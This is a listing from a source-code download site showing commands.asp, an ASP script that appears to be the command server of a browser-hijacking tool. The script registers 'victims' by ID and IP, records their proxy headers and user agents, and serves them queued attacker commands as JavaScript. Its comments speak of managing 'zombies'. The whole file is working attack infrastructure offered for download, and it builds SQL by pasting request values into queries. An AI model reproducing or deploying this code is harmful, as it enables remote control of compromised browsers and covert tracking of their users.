commands.asp
上传用户:wangting
上传日期:2020-01-24
资源大小:2226k
文件大小:4k
源码类别:

破解

开发平台:

ASP/ASPX

  1. <%
  2. ' Commands will be send
  3. ' Victim needs to be make request by her Victim ID
  4. '10/08/2006
  5. ' - Started
  6. '
  7. '14/08/2006
  8. ' - Add update shown records
  9. '31/10/2006
  10. ' - Performance related improements and better zombie management
  11. %>
  12. <!--#include file="db.asp" -->
  13. <%
  14. Dim RsCommands, VictimID, First
  15. VictimID = fm_Qnstr("v")
  16. 'Victim ID is wrong just say NO
  17. If VictimID = 0 Then 
  18. PrintCommands NO_RECORD
  19. Response.End
  20. End If
  21. Dim RsCurVictim
  22. getRs RsCurVictim, "SELECT TOP 1 ID FROM Victim WHERE VictimID = " & VictimID & " AND IP = '" & fm_SQL(Request.ServerVariables("REMOTE_HOST")) & "' ORDER BY ID DESC"
  23. If RsCurVictim.eOF And RsCurVictim.BOF Then
  24. 'Living...
  25. Dim values(5)
  26. values(0) = "IP"
  27. values(1) = Request.ServerVariables("REMOTE_HOST")
  28. values(2) = "text"
  29. values(3) = "VictimID"
  30. values(4) = VictimID
  31. values(5) = "number"
  32. fm_Insert "Victim", values
  33. Else
  34. Dim upvalues(2)
  35. upvalues(0) = "Lastseen"
  36. upvalues(1) = ""
  37. upvalues(2) = "datenow"
  38. fm_Update "Victim", "ID", RsCurVictim("ID"), upvalues
  39. End If
  40. fmKill RsCurVictim
  41. 'Check first time here?
  42. If CheckRecord("SELECT COUNT(ID) FROM VictimDetail WHERE VictimID = " & VictimID) Then InsertVictimDetail()
  43. 'Get Commands and Print in out Command format
  44. getRs RsCommands, "SELECT TOP " & MAX_COMMAND & " Command FROM Log WHERE VictimID = " & VictimID & " AND ResponseTime Is Null AND Shown = 0"
  45. Dim CommandBuffer 
  46. First = True
  47. If Not RsEmpty(RsCommands) Then
  48. While Not RsCommands.EOF
  49. 'Write Commands
  50. If Not First Then CommandBuffer = CommandBuffer & COMMAND_SEPERATOR
  51. CommandBuffer = CommandBuffer & RsCommands("Command") 
  52. First = False
  53. RsCommands.MoveNext
  54. Wend
  55. PrintCommands CommandBuffer
  56. '// No max record bug !
  57. '// Update pushed commands
  58. Dim RsPushedCommands
  59. Set RsPushedCommands = Server.CreateObject("ADODB.Command")
  60. RsPushedCommands.ActiveConnection = fmconn
  61. RsPushedCommands.CommandText = "UPDATE Log SET Shown = 1 WHERE VictimID = " & VictimID & " AND ResponseTime Is Null AND Shown = 0"
  62. RsPushedCommands.CommandType = 1
  63. RsPushedCommands.CommandTimeout = 0
  64. RsPushedCommands.Prepared = true
  65. RsPushedCommands.Execute()
  66. Set RsPushedCommands = Nothing
  67. Else
  68. PrintCommands NO_RECORD
  69. End If
  70. fmKill RsCommands
  71. '// Print commands in requeired format
  72. Sub PrintCommands(ByVal Cmd)
  73. Select Case COMMUNICATIONCHANNEL
  74. Case JSMODEL
  75. '// TODO : Escape JS special characters 
  76. Cmd = Replace(Cmd, """","""")
  77. Cmd = Replace(Cmd, VbNewline,"n")
  78. Cmd = Replace(Cmd, Chr(10),"n")
  79. Response.Write "function c(){ return """ & Cmd & """};"
  80. Case Else
  81. Response.Write Cmd
  82. End Select
  83. End Sub
  84. Sub InsertVictimDetail()
  85. Dim proxyArr, serverRes, Data
  86. proxyArr = Array ("HTTP_X_FORWARDED_FOR","HTTP_VIA","HTTP_CACHE_CONTROL","HTTP_FORWARDED","HTTP_USER_AGENT_VIA","HTTP_CACHE_INFO")
  87. 'Gather
  88. Dim i 
  89. For i=0 To Ubound(proxyArr)
  90. serverRes = Request.ServerVariables(proxyArr(i))
  91. If serverRes <> "" Then Data = Data & DATA_SEPERATOR & serverRes
  92. Next
  93. 'Living...
  94. Dim values(11)
  95. values(0) = "IP"
  96. values(1) = Request.ServerVariables("REMOTE_HOST")
  97. values(2) = "text"
  98. values(3) = "Data"
  99. values(4) = Data
  100. values(5) = "text"
  101. values(6) = "VictimID"
  102. values(7) = VictimID
  103. values(8) = "number"
  104. values(9) = "RawUserAgent"
  105. values(10) = Request.ServerVariables("HTTP_USER_AGENT")
  106. values(11) = "text"
  107. fm_Insert "VictimDetail", values
  108. End Sub
  109. 'Check any record exits uses Rs(0)
  110. Function CheckRecord(ByVal SQL)
  111. Dim rsCheck, Ret
  112. getRs rsCheck, SQL
  113. 'empty...
  114. Ret = ( rsCheck(0) = 0 )
  115. fmKill rsCheck
  116. CheckRecord = Ret
  117. End Function
  118. %>